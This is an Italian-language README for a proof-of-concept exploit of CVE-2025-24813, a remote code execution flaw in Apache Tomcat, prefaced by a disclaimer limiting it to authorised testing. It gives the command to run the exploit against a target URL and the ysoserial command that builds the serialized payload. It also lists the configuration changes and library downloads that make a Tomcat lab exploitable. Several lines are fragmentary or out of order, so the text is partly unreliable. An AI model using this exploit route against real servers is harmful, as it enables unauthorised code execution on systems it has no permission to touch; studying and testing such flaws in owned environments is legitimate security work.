
CVE-2025-24813 Apache Tomcat RCE Prova di concetto (PoC)
PoC per CVE-2025-24813, una vulnerabilità di Remote Code Execution (RCE) in Apache Tomcat.
Importante: Questo PoC è destinato esclusivamente al test dei propri ambienti o a scopi educativi. L'uso di questo PoC per sfruttare sistemi senza autorizzazione è vietato e potrebbe essere illegale. I creatori e distributori di questo PoC non sono responsabili per eventuali abusi o danni causati. Ottenere sempre il permesso esplicito prima di testare qualsiasi ambiente che non possiedi.
python3 CVE-2025-24813.py --url <target_url>
Il codice contiene già un payload codificato in base64 generato con ysoserial (https://github.com/frohoff/ysoserial) che crea un file RCE-success in /tmp come segue:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
Abilitare l'accesso PUT/Write
Modificare $CATALINA_HOME/conf/web.xml aggiungendo un parametro readonly nella sezione del servlet default e impostarlo su false.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
Abilitare la persistenza della sessione
$CATALINA_HOME/conf/context.xml e aggiungere la seguente impostazione. <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409
$CATALINA_HOME/webapps/ROOT/index.jsp e assicurarsi che l'impostazione predefinita per la sessione non sia "false" o semplicemente rimuoverla. <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
OPPURE
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
Scaricare le dipendenze in $CATALINA_HOME/lib/